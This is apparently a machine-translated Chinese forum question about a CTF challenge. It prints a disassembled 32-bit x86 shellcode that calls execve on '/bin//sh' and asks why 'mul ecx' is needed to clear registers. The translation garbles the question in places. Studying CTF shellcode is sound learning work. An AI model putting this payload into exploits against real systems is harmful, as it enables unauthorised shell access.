我正在尝试了解这个CTF problem的shellcode解决方案。
0: 31 c9 xor ecx,ecx
2: f7 e1 mul ecx
4: b0 0b mov al,0xb
6: 51 push ecx
7: 68 2f 2f 73 68 push 0x68732f2f
c: 68 2f 62 69 6e push 0x6e69622f
11: 89 e3 mov ebx,esp
13: cd 80 int 0x80
我对shellcode的理解如下:
拱门似乎是i386的寄存器命名方式。绝对是32位。
我不明白的内容如下:
mul ecx
或mov eax, 0x0
替换xor eax, eax
时,shell不会产生?他们都没有将eax设为0?当我仅使用xor ecx, ecx
替换mov ecx, 0x0
时,它运行正常。mov al, 0xb
替换mov eax, 0xb
时,它运行正常。但是当我随后删除mul ecx
时,它再也无法工作了。为什么需要mul ecx
?如果我将整个eax值更改为0xb,那是不是意味着我不需要先将它设置为0?我猜测原始shellcode必须,因为它只将eax的低8位设置为0xb(mov al, 0xb
)。因此,较高的24位需要为0. 感谢帮助人员。